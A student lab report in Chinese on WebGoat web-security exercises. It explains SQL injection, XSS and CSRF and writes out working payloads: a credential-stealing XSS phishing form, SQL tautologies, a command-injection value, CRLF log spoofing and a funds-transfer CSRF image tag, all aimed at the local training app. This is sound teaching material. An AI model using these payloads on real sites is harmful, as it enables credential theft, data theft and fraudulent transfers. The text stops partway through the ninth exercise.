2018-2019-2 网络对抗技术 20165228 Exp9 Web安全基础实践
回答问题
(1)SQL注入攻击原理,如何防御
原理:通过在用户名、密码登输入框中输入特殊字符,在处理字符串与sql语句拼接过程中实现引号闭合、注释部分SQL语句,利用永真式,从而达到登录、显示信息等目的。
防御:对输入进行限制,包括输入长度和特殊字符的类型等
(2)XSS攻击的原理,如何防御
原理:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,攻击者可以利用XSS漏洞旁路掉访问控制。
防御:收集JSP特征,对内容进行严格验证,规定格式。
(3)CSRF攻击原理,如何防御
原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。
防御:在浏览器会话结束后清理cookie,在form中包含秘密信息、用户指定的代号作为cookie之外的验证。
实验内容
- 执行
java -jar webgoat-container-7.0.1-war-exec.jar
开启webgoat
,
1.Phishing with XSS
- 在搜索框里输入XSS攻击代码
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
- 在表单内填写的用户名密码会被捕获发送给你
2.Reflected XSS - 在
code
输入框内输入<script>alert("20165228szkun");</script>
- 点击
purchase
,则会弹出窗口,内容是输入代码中的字符串。
3.Stored XSS Attacks - 在发的帖子
message
部分插入jsp代码,当该帖子被浏览时,该代码也会被浏览器解析成html的内容。 - 在message中输入
<script>alert("20165228 shi cai ji!");</script>
提交后,浏览该贴,成功弹出窗口,说明攻击成功!
4.Command Injection - 右键复选框,选择
inspect Element
,在某个选项后加上"& netstat -an & ipconfig"
- 在页面中选择该选型,然后点击
view
,则会出现该命令执行的结果
5.Numeric SQL Injection - 根据其SQL语句
SELECT * FROM weather_data WHERE station = [station]
,在填入的字段中注入特征字符,查看所有的天气数据。 - 右键复选框,选择
inspect Element
,然将value ="101"
改为value ="101 or 1=1"
,其值对应的是Columbia
,修改完成后选择该选项,然后点击Go!
即可查看所有天气数据。
6.Log Spoofing - 通过调整输入,从而隐藏登录的信息,不使它被记录到日志文件中。
- 在用户名输入
szkun%0d%0aLogin Succeeded for username: admin
7.String SQL Injection - 通过SQL注入构造永真式,使用者可查询到所有的信用卡号。
- 在输入框直接输入
'or 1='1
即可
8.Cross Site Request Forgery - 写一个URL诱使其他用户点击,从而触发CSRF攻击,我们可以以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。
- 查看自己电脑的Screen和menu的值:
message
内容为<img src="http://localhost:8080/WebGoat/attack?Screen=276&menu=900&transferFunds=500"/>
当点击该图片时,就会发出一个转钱的请求,盗取钱财。提交后,会在消息列表中看到一个新的消息,点击该消息,当前页面就会下载这个消息并显示出来,转走用户的钱,达到CSRF攻击的目的。
- 提交后点击该链接,可查看操作信息。
9.CSRF Prompt By-Pass - 利用CSRF进行冒名操作转账,不过这次包括了转账请求和确认转账成功请求,即需要额外传递两个参数给服务器
- 在
message
框输入```